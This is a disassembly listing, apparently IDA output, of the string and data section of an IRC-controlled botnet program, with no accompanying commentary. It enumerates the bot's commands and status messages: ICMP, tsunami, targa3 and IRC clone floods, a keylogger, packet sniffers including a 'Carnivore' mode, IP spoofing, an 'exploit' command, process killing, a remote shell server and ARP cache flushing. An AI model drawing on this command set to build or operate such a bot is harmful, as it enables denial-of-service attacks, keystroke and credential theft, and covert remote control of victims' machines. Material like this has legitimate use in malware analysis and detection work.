sub_401AA1+4A9Fo align 4 aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401AA1+4A88o align 4 aMv db 'mv',0 ; DATA XREF: sub_401AA1+4A71o align 4 aRename db 'rename',0 ; DATA XREF: sub_401AA1+4A5Ao align 10h aFf db 'ff',0 ; DATA XREF: sub_401AA1+4A43o align 4 aFindfile db 'findfile',0 ; DATA XREF: sub_401AA1+4A2Co align 10h aE: ; DATA XREF: sub_401AA1+4A15o ; .XPack0:0043AC00o ... unicode 0, <e>,0 aExecute db 'execute',0 ; DATA XREF: sub_401AA1+49FEo aUpd4t3z db 'upd4t3z',0 ; DATA XREF: sub_401AA1+49E7o aStyle db 'style',0 ; DATA XREF: sub_401AA1+49D0o align 4 aDe db 'de',0 ; DATA XREF: sub_401AA1+49B9o align 10h aDelay db 'delay',0 ; DATA XREF: sub_401AA1+49A2o align 4 aRp db 'rp',0 ; DATA XREF: sub_401AA1+498Bo align 4 aRepeat db 'repeat',0 ; DATA XREF: sub_401AA1+4974o ; sub_401AA1+6AA7o align 4 aTsn db 'tsn',0 ; DATA XREF: sub_401AA1+495Do aTsunami db 'tsunami',0 ; DATA XREF: sub_401AA1+4946o aT3 db 't3',0 ; DATA XREF: sub_401AA1+492Fo align 4 aTarga3 db 'targa3',0 ; DATA XREF: sub_401AA1+4918o align 4 aC_p db 'c_p',0 ; DATA XREF: sub_401AA1+4901o aC_part db 'c_part',0 ; DATA XREF: sub_401AA1+48EAo align 4 aC_j db 'c_j',0 ; DATA XREF: sub_401AA1+48D3o aC_join db 'c_join',0 ; DATA XREF: sub_401AA1+48BCo align 4 aC_n db 'c_n',0 ; DATA XREF: sub_401AA1+48A5o aC_nick db 'c_nick',0 ; DATA XREF: sub_401AA1+488Eo align 10h aC_m db 'c_m',0 ; DATA XREF: sub_401AA1+4877o aC_mode db 'c_mode',0 ; DATA XREF: sub_401AA1+4860o align 4 aC_r db 'c_r',0 ; DATA XREF: sub_401AA1+4849o aC_raw db 'c_raw',0 ; DATA XREF: sub_401AA1+4832o align 4 aM: ; DATA XREF: sub_401AA1+481Bo ; .XPack0:0043AC58o ... unicode 0, <m>,0 aCy db 'cy',0 ; DATA XREF: sub_401AA1+47EDo align 10h aCycle db 'cycle',0 ; DATA XREF: sub_401AA1+47D6o align 4 aA: ; DATA XREF: sub_401AA1+47BFo ; .XPack0:0043AC1Co unicode 0, <a>,0 aAction db 'action',0 ; DATA XREF: sub_401AA1+47A8o align 4 aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401AA1+477Ao aAa db 'aa',0 ; DATA XREF: sub_401AA1+4763o align 10h aAddalias db 'addalias',0 ; DATA XREF: sub_401AA1+474Co align 4 aKl db 'kl',0 ; DATA XREF: sub_401AA1+4735o align 10h aKilllog db 'killlog',0 ; DATA XREF: sub_401AA1+471Eo aGh db 'gh',0 ; DATA XREF: sub_401AA1+46F5o align 4 aGethost db 'gethost',0 ; DATA XREF: sub_401AA1+46DEo unk_42D3D4 db 2Dh ; - ; DATA XREF: sub_401AA1:loc_406164o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_42D3F0 db 2Dh ; - ; DATA XREF: sub_401AA1:loc_40615Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 4 aSend db 'send',0 ; DATA XREF: sub_401AA1+4679o ; sub_4097DE+5F0o align 4 unk_42D41C db 2Dh ; - ; DATA XREF: sub_401AA1:loc_406112o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 4 unk_42D43C db 2Dh ; - ; DATA XREF: sub_401AA1+466Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 unk_42D45C db 2Dh ; - ; DATA XREF: sub_401AA1:loc_406079o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 4 unk_42D47C db 2Dh ; - ; DATA XREF: sub_401AA1+45CEo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 10h aShare db 'share',0 ; DATA XREF: sub_401AA1+4560o align 4 aContinue db 'continue',0 ; DATA XREF: sub_401AA1+452Ao align 4 aPause db 'pause',0 ; DATA XREF: sub_401AA1+450Fo align 4 aStop db 'stop',0 ; DATA XREF: sub_401AA1+44F7o align 4 unk_42D4C4 db 2Dh ; - ; DATA XREF: sub_401AA1:loc_405F8Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 unk_42D4E4 db 2Dh ; - ; DATA XREF: sub_401AA1+44E2o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 4 aStart db 'start',0 ; DATA XREF: sub_401AA1+448Bo align 10h unk_42D510 db 2Dh ; - ; DATA XREF: sub_401AA1+4458o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 aNet db 'net',0 ; DATA XREF: sub_401AA1+4434o aKstop db 'kstop',0 ; DATA XREF: sub_401AA1+441Do align 4 aKeystop db 'keystop',0 ; DATA XREF: sub_401AA1+4406o aKeylog db 'keylog',0 ; DATA XREF: sub_401AA1+43EFo align 4 aKeyloger db 'keyloger',0 ; DATA XREF: sub_401AA1+43D8o align 10h unk_42D570 db 2 ; DATA XREF: sub_401AA1:loc_405E6Co db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 69h ; i db 2, 64h, 2 db 65h ; e db 2, 6Eh, 2 db 74h ; t db 2, 64h, 2 db 2 db 3, 30h, 31h db 2Ch ; , db 3, 31h, 34h db 3Ah ; : db 3, 31h, 20h aNoThreadFound_ db 'No thread found.',0 align 10h unk_42D5B0 db 2 ; DATA XREF: sub_401AA1+43C1o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 69h ; i db 2, 64h, 2 db 65h ; e db 2, 6Eh, 2 db 74h ; t db 2, 64h, 2 db 2 db 3, 30h, 31h db 2Ch ; , db 3, 31h, 34h db 3Ah ; : db 3, 31h, 20h aServerStopped_ db 'Server stopped. (%d thread(s) stopped.)',0 unk_42D600 db 2 ; DATA XREF: sub_401AA1+4393o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 69h ; i db 2, 64h, 2 db 65h ; e db 2, 6Eh, 2 db 74h ; t db 2, 64h, 2 db 2 db 3, 30h, 31h db 2Ch ; , db 3, 31h, 34h db 3Ah ; : db 3, 31h, 20h aFailedToSta_11 db 'Failed to start server, error: <%d>.',0 align 10h unk_42D650 db 2 ; DATA XREF: sub_401AA1:loc_405DE7o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 69h ; i db 2, 64h, 2 db 65h ; e db 2, 6Eh, 2 db 74h ; t db 2, 64h, 2 db 2 db 3, 30h, 31h db 2Ch ; , db 3, 31h, 34h db 3Ah ; : db 3, 31h, 20h aServerRunnin_0 db 'Server running on Port: 113.',0 align 4 dword_42D698 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 2640269h ; DATA XREF: sub_401AA1+433Co dd 26E0265h, 2640274h, 31300302h, 3431032Ch, 2031033Ah dd 6C024102h, 64616572h, 72022079h, 6E6E7502h, 2E676E69h dd 0 aIdent db 'ident',0 ; DATA XREF: sub_401AA1+4305o align 10h unk_42D6E0 db 2Dh ; - ; DATA XREF: sub_401AA1:loc_405D99o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoSnifferThrea db '- No sniffer thread found.',0 unk_42D708 db 2Dh ; - ; DATA XREF: sub_401AA1+42EEo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aSnifferStopped db '- sniffer stopped. (%d thread(s) stopped.)',0 unk_42D740 db 2Dh ; - ; DATA XREF: sub_401AA1+42ABo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_12 db '- Failed to start sniffer thread, error: <%d>.',0 unk_42D77C db 2Dh ; - ; DATA XREF: sub_401AA1+4252o db 3, 34h, 2 db 53h ; S db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPacketSnifferA db '- packet sniffer active.',0 align 4 unk_42D7A4 db 2Dh ; - ; DATA XREF: sub_401AA1+41EEo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunning db '- Already running.',0 aSniffer db 'sniffer',0 ; DATA XREF: sub_401AA1+41B9o dword_42D7CC dd 234032Dh, 696E7370h, 3026666haNoCarnivoreThr db '- No Carnivore thread found.',0 align 4 dword_42D7F8 dd 234032Dh, 696E7370h, 3026666haCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 4 dword_42D834 dd 234032Dh, 696E7370h, 3026666haFailedToSta_13 db '- Failed to start sniffer thread, error: <%d>.',0 align 10h dword_42D870 dd 234032Dh, 696E7370h, 3026666haCarnivorePacke db '- Carnivore packet sniffer active.',0 align 10h dword_42D8A0 dd 234032Dh, 696E7370h, 3026666haAlreadyRunni_0 db '- Already running.',0 align 10h aOn db 'on',0 ; DATA XREF: sub_401AA1+4082o ; sub_401AA1+41CEo ... align 4 aPsniff db 'psniff',0 ; DATA XREF: sub_401AA1+406Do align 4 aRf db 'rf',0 ; DATA XREF: sub_401AA1+4056o align 10h aReadfile db 'readfile',0 ; DATA XREF: sub_401AA1+403Fo align 4 aCm db 'cm',0 ; DATA XREF: sub_401AA1+4028o align 10h aCmd db 'cmd',0 ; DATA XREF: sub_401AA1+4011o aMirc db 'mirc',0 ; DATA XREF: sub_401AA1+3FFAo align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401AA1+3FE3o aV: ; DATA XREF: sub_401AA1+3FCCo ; .XPack0:0043AC4Co ... unicode 0, <v>,0 aVisit db 'visit',0 ; DATA XREF: sub_401AA1+3FB5o align 10h aLi db 'li',0 ; DATA XREF: sub_401AA1+3F9Eo align 4 aList db 'list',0 ; DATA XREF: sub_401AA1+3F87o align 4 aGt db 'gt',0 ; DATA XREF: sub_401AA1+3F70o align 10h aDel db 'del',0 ; DATA XREF: sub_401AA1+3F42o aDelete db 'delete',0 ; DATA XREF: sub_401AA1+3F2Bo ; sub_401AA1+4545o align 4 aKi db 'ki',0 ; DATA XREF: sub_401AA1+3F14o align 10h aKill db 'kill',0 ; DATA XREF: sub_401AA1+3EFDo align 4 aKp db 'kp',0 ; DATA XREF: sub_401AA1+3EE6o align 4 aKillproc db 'killproc',0 ; DATA XREF: sub_401AA1+3ECFo align 4 aDn db 'dn',0 ; DATA XREF: sub_401AA1+3EB8o align 4 aDns db 'dns',0 ; DATA XREF: sub_401AA1+3EA1o aSe db 'se',0 ; DATA XREF: sub_401AA1+3E8Ao align 4 aO: ; DATA XREF: sub_401AA1+3E5Co ; .XPack0:0043AF7Co unicode 0, <o>,0 aOpen db 'open',0 ; DATA XREF: sub_401AA1+3E45o ; sub_401AA1+5815o ... align 10h aPr db 'pr',0 ; DATA XREF: sub_401AA1+3E2Eo align 4 aPrefix db 'prefix',0 ; DATA XREF: sub_401AA1+3E17o align 4 aC_rn db 'c_rn',0 ; DATA XREF: sub_401AA1+3E00o align 4 aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401AA1+3DE9o align 10h aC_q db 'c_q',0 ; DATA XREF: sub_401AA1+3DD2o aC_quit db 'c_quit',0 ; DATA XREF: sub_401AA1+3DBBo align 4 aKillthread db 'killthread',0 ; DATA XREF: sub_401AA1+3D8Do align 4 aRaw db 'raw',0 ; DATA XREF: sub_401AA1+3D5Fo aPt db 'pt',0 ; DATA XREF: sub_401AA1+3D48o align 10h aJ: ; DATA XREF: sub_401AA1+3D1Ao ; .XPack0:0043AC34o ... unicode 0, <j>,0 aN: ; DATA XREF: sub_401AA1+3CECo ; .XPack0:0043AC54o ... unicode 0, <n>,0 unk_42D998 db 2Dh ; - ; DATA XREF: sub_401AA1+3CB7o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 10h aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401AA1+3C4Eo aRegister db 'register',0 ; DATA XREF: sub_401AA1+3C25o align 4 aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401AA1+3BCAo align 4 aMix db 'mix',0 ; DATA XREF: sub_401AA1+3AF8o dword_42D9F8 dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h ; DATA XREF: sub_401AA1+3AA2o ; sub_401AA1+3ADDo dd 0 dword_42DA10 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h ; DATA XREF: sub_401AA1+3A67o dd 1 dword_42DA28 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h ; DATA XREF: sub_401AA1+3A2Co ; sub_401AA1+3B4Ao aCtcp db 'ctcp',0 ; DATA XREF: sub_401AA1+39DAo align 4 aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401AA1+393Fo ; sub_401AA1+397Fo ... align 4 aNotice_0 db 'notice',0 ; DATA XREF: sub_401AA1+38E8o align 4 aMsg db 'msg',0 ; DATA XREF: sub_401AA1+37F6o aChgnick db 'chgnick',0 ; DATA XREF: sub_401AA1+37B2o aNick_0 db 'nick',0 ; DATA XREF: sub_401AA1+36AFo ; sub_401AA1+3CD5o align 10h dword_42DA70 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h ; DATA XREF: sub_401AA1+3694o dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1 dword_42DA98 dd 636364h dword_42DA9C dd 6E696F6Ah, 7261702Fh, 74hdword_42DAA8 dd 4B43494Eh, 732520h ; sub_401AA1+3709o ... dword_42DAB0 dd 69257325h, 0 ; sub_40A97E+4Eo ... aPnick db 'pnick',0 ; DATA XREF: sub_401AA1+3453o align 10h aPartSS db 'part %s %s',0 ; DATA XREF: sub_401AA1+3438o ; sub_401AA1+351Do ... align 4 aPartflood db 'partflood',0 ; DATA XREF: sub_401AA1+3411o align 4 aPartS db 'part %s',0 ; DATA XREF: sub_401AA1+33F6o aPart_0 db 'part',0 ; DATA XREF: sub_401AA1+33D4o ; sub_401AA1+3D31o align 4 aJoinS db 'join %s',0 ; DATA XREF: sub_401AA1+33B9o ; sub_401AA1+34F4o ... aJoin db 'join',0 ; DATA XREF: sub_401AA1+3397o ; sub_401AA1+3D03o align 4 aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401AA1+337Co align 4 aMode db 'mode',0 ; DATA XREF: sub_401AA1+3330o ; sub_401AA1+4804o align 4 aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401AA1+3315o align 4 aNt db 'nt',0 ; DATA XREF: sub_401AA1+32C9o align 10h dword_42DB20 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0 ; DATA XREF: sub_401AA1+32AEo dword_42DB34 dd 7463h dword_42DB38 dd 76697270h, 2067736Dh, 3A207325h, 7325h ; sub_401AA1+384Do ... dword_42DB48 dd 5Fh ; sub_401AA1+3282o ... dword_42DB4C dd 6D70h ; sub_401AA1+4791o unk_42DB50 db 2Dh ; - ; DATA XREF: sub_401AA1+31CBo db 3, 34h, 2 db 69h ; i db 72h, 63h, 20h db 46h ; F db 6Ch, 2 dup(6Fh) db 64h ; d db 2, 3, 2Dh aSClonesLoadedT db ' %s clones loaded to %s:%s',0 align 4 aLoad db 'load',0 ; DATA XREF: sub_401AA1+3177o align 4 aFlood db 'flood',0 ; DATA XREF: sub_401AA1+3156o align 4 aRinms db 'rinms',0 ; DATA XREF: sub_401AA1+313Fo align 4 aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401AA1+3128o aRin db 'rin',0 ; DATA XREF: sub_401AA1+3111o aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401AA1+30FAo align 4 dword_42DBB8 dd 35310302h, 25B302Ch, 91343003h, 1F313003h, 21F4502h ; DATA XREF: sub_401AA1+30D8o dd 2700278h, 26F026Ch, 2740269h, 2C343003h, 3A353103h dd 2203403h, 2610246h, 26C0269h, 20640265h, 6F025402h dd 2530220h, 72026174h, 2207402h, 70780245h, 6F026C02h dd 2740269h, 2207265h, 2680254h, 2650272h, 2C640261h, 2450220h dd 2720272h, 272026Fh, 2031033Ah, 3E64253Ch, 2Eh, 0 dword_42DC38 dd 35310302h, 25B302Ch, 91313003h, 1F343003h, 21F4502h ; DATA XREF: sub_401AA1+307Co dd 2700278h, 26F026Ch, 2740269h, 2C313003h, 3A353103h dd 2203103h, 74740241h, 6D026502h, 2740270h, 20676E69h dd 6F025402h, 2430220h, 70026D6Fh, 26F7202h, 7369026Dh dd 20340365h, 2E2E7325h, 2Eh aExploit db 'exploit',0 ; DATA XREF: sub_401AA1+2FFEo unk_42DC9C db 2Dh ; - ; DATA XREF: sub_401AA1+2FDEo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 4 unk_42DCC8 db 2Dh ; - ; DATA XREF: sub_401AA1+2FB4o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401AA1+2F7Co align 4 unk_42DD08 db 2Dh ; - ; DATA XREF: sub_401AA1+2F23o ; sub_401AA1+2F94o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 10h aGet db 'get',0 ; DATA XREF: sub_401AA1:loc_4049A2o ; sub_401AA1+3F59o align 8 dword_42DD48 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+2EC2o dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 55022031h, 72657302h dd 25203403h, 31032073h, 26F026Ch, 65026767h, 6F206402h dd 74027502h, 2Eh dword_42DD90 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+2E83o dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 6E492031h, 61027602h dd 2064696Ch, 26F026Ch, 6E026967h, 53022002h, 746F6C02h dd 24E0220h, 65626D75h, 34033A72h, 2E642520h, 2 dup(0) dword_42DDE8 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+2E7Bo dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 4E022031h, 2206F02h dd 65730255h, 31032072h, 6F026C02h, 65026767h, 69206402h dd 7461206Eh, 2530220h, 3A746F6Ch, 25203403h, 2E64h dword_42DE3C dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+2E2Do dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 73252031h, 0 dword_42DE68 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1:loc_4048BFo dd 269021Fh, 302026Eh, 32C3130h, 33A3431h a1PoweredByLame db '1 Powered By lamer .',0 align 8 unk_42DEA8 db 2 ; DATA XREF: sub_401AA1+2DE6o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 53h ; S db 2, 65h, 2 db 63h ; c db 2, 75h, 2 db 72h ; r db 2, 65h, 2 db 2 db 3, 30h, 31h db 2Ch ; , db 3, 31h, 34h db 3Ah ; : db 3, 31h, 20h aFailedToSta_14 db 'Failed to start secure thread, error: <%d>.',0 dword_42DEFC dd 35310302h, 25B302Ch, 91313003h, 2343003h, 2650253h ; DATA XREF: sub_401AA1+2D82o dd 2750263h, 2650272h, 31300302h, 3431032Ch, 2031033Ah dd 3207325h, 2530234h, 65747379h, 2E6Dh aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401AA1+2D7Co align 10h aSecuring db 'Securing',0 ; DATA XREF: sub_401AA1+2D75o align 4 unk_42DF4C db 2Dh ; - ; DATA XREF: sub_401AA1+2CE9o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToSta_15 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42DF8C db 2Dh ; - ; DATA XREF: sub_401AA1+2C7Bo db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 4 dword_42DFB8 dd 234032Dh, 6B636F73h, 3023473haFailedToSta_16 db '- Failed to start server thread, error: <%d>.',0 align 4 dword_42DFF4 dd 234032Dh, 6B636F73h, 3023473h ; sub_411E46+A8o aServerStarte_0 db '- Server started on: %s:%d.',0 dword_42E01C dd 234032Dh, 646E6966h, 656C6966h, 2D0302hdword_42E02C dd 646E6946h, 6C696620h, 65hdword_42E038 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 21F501Fh ; DATA XREF: sub_401AA1+2AC0o dd 26F0272h, 2730263h, 2C343003h, 5D353103h, 3103h dword_42E060 dd 636F7250h, 20737365h, 7473696Ch, 0dword_42E070 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+2A48o dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 52022031h, 6F636502h dd 63656E6Eh, 676E6974h, 2Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401AA1:loc_4044DCo ; sub_401AA1:loc_40949Co ... align 10h dword_42E0C0 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+2A26o dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 44022031h, 63736902h dd 656E6E6Fh, 6E697463h, 2E67h aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401AA1:loc_4044BAo align 10h aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401AA1:loc_4044A3o ; sub_401AA1+7838o align 10h aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401AA1+29F0o align 10h dword_42E130 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+29A4o dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 53022031h, 74617402h dd 203A7375h, 65025202h, 2E796461h, 2420220h, 220746Fh dd 74700255h, 3A656D69h, 25203403h, 2E73h dword_42E180 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+2966o dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 42022031h, 20746F02h dd 1F441F49h, 2034033Ah, 2E7325h unk_42E1B8 db 2 ; DATA XREF: sub_401AA1+292Do db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 54h ; T db 2, 68h, 72h db 2 db 65h, 2, 61h db 2 db 64h, 73h, 2 db 3 db 30h, 31h, 2Ch db 3 db 31h, 34h, 3Ah db 3 a1FailedToSta_0 db '1 Failed to start list thread, error: <%d>.',0 align 4 dword_42E20C dd 35310302h, 25B302Ch, 91313003h, 2343003h, 72680254h ; DATA XREF: sub_401AA1+28D4o dd 64026165h, 20310373h, 69026C02h, 74027302h, 2742002h dd 2720268h, 2610265h, 2E730264h, 0 dword_42E244 dd 627573h dword_42E248 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+285Co dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 6C412031h, 20736169h dd 7473696Ch, 2Eh, 0 dword_42E280 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 26F026Ch ; DATA XREF: sub_401AA1+282Co dd 30030267h, 31032C34h, 34033A35h, 2460220h, 656C6961h dd 2742064h, 220026Fh, 61740253h, 2207472h, 7369026Ch dd 676E6974h, 2540220h, 61657268h, 2202C64h, 2720245h dd 26F0272h, 33A0272h, 253C2031h, 2E3E64h dword_42E2E0 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 26F026Ch ; DATA XREF: sub_401AA1+27B5o dd 30030267h, 31032C34h, 34033A35h, 24C0220h, 69747369h dd 6C20676Eh, 67026F02h, 2Eh dword_42E314 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+272Eo dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 4E022031h, 77746502h dd 206B726Fh, 6F666E49h, 2Eh dword_42E34C dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+26FFo dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 53022031h, 74737902h dd 49206D65h, 2E6F666Eh, 0 dword_42E384 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+26AAo dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 52022031h, 6F6D6502h dd 69027602h, 220676Eh, 746F0242h, 2Eh dword_42E3C0 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 21F501Fh ; DATA XREF: sub_401AA1+2679o dd 26F0272h, 2730263h, 2C313003h, 5D353103h, 2203103h dd 69610246h, 2064656Ch, 2206F74h, 61740253h, 2207472h dd 7369026Ch, 676E6974h, 2740220h, 61657268h, 2202C64h dd 72720245h, 33A726Fh, 253C2034h, 2E3E64h dword_42E420 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 21F501Fh ; DATA XREF: sub_401AA1+261Ao dd 26F0272h, 2730263h, 2C313003h, 5D353103h, 2203103h dd 6F720250h, 63026302h, 2730265h, 6C022073h, 73026902h dd 2E7402h aFull db 'full',0 ; DATA XREF: sub_401AA1+25FAo align 4 dword_42E468 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 21F501Fh ; DATA XREF: sub_401AA1+259Bo dd 26F0272h, 2730263h, 2C313003h, 5D353103h, 2203103h dd 26C0241h, 2650272h, 2640261h, 72022079h, 26E0275h, 6E69026Eh dd 2E6702h dword_42E4AC dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+254Ao dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 55022031h, 69747002h dd 33A656Dh, 73252034h, 2Eh unk_42E4E4 db 2 ; DATA XREF: sub_401AA1:loc_403F21o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 1Fh db 43h, 1Fh, 2 db 6Dh ; m db 2, 64h, 2 db 3 db 30h, 31h, 2Ch db 3 db 31h, 35h, 5Dh db 3 a1RemoteShellRe db '1 Remote shell ready.',0 align 4 unk_42E51C db 2 ; DATA XREF: sub_401AA1+2479o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 1Fh db 43h, 1Fh, 2 db 6Dh ; m db 2, 64h, 2 db 3 db 30h, 31h, 2Ch db 3 db 31h, 35h, 5Dh db 3 a1CouldnTOpenRe db '1 Couldn',27h,'t open remote shell.',0 align 10h dword_42E560 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 21F431Fh ; DATA XREF: sub_401AA1+245Do dd 264026Dh, 2C313003h, 5D353103h, 2203103h, 6D650252h dd 2065746Fh, 68025302h, 206C6C65h, 6C024102h, 64616572h dd 52022079h, 6E6E7502h, 2E676E69h, 0 dword_42E5AC dd 35310302h, 25B302Ch, 91313003h, 2343003h, 611F024Dh ; DATA XREF: sub_401AA1+2447o dd 269021Fh, 302026Eh, 32C3130h, 33A3431h, 65472031h, 6C432074h dd 6F627069h, 2E647261h, 0 dword_42E5E4 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_401AA1+2419o dd 2Dh unk_42E5FC db 2Dh ; - ; DATA XREF: sub_401AA1:loc_403EAAo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 4 unk_42E628 db 2Dh ; - ; DATA XREF: sub_401AA1+2402o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 4 unk_42E64C db 2Dh 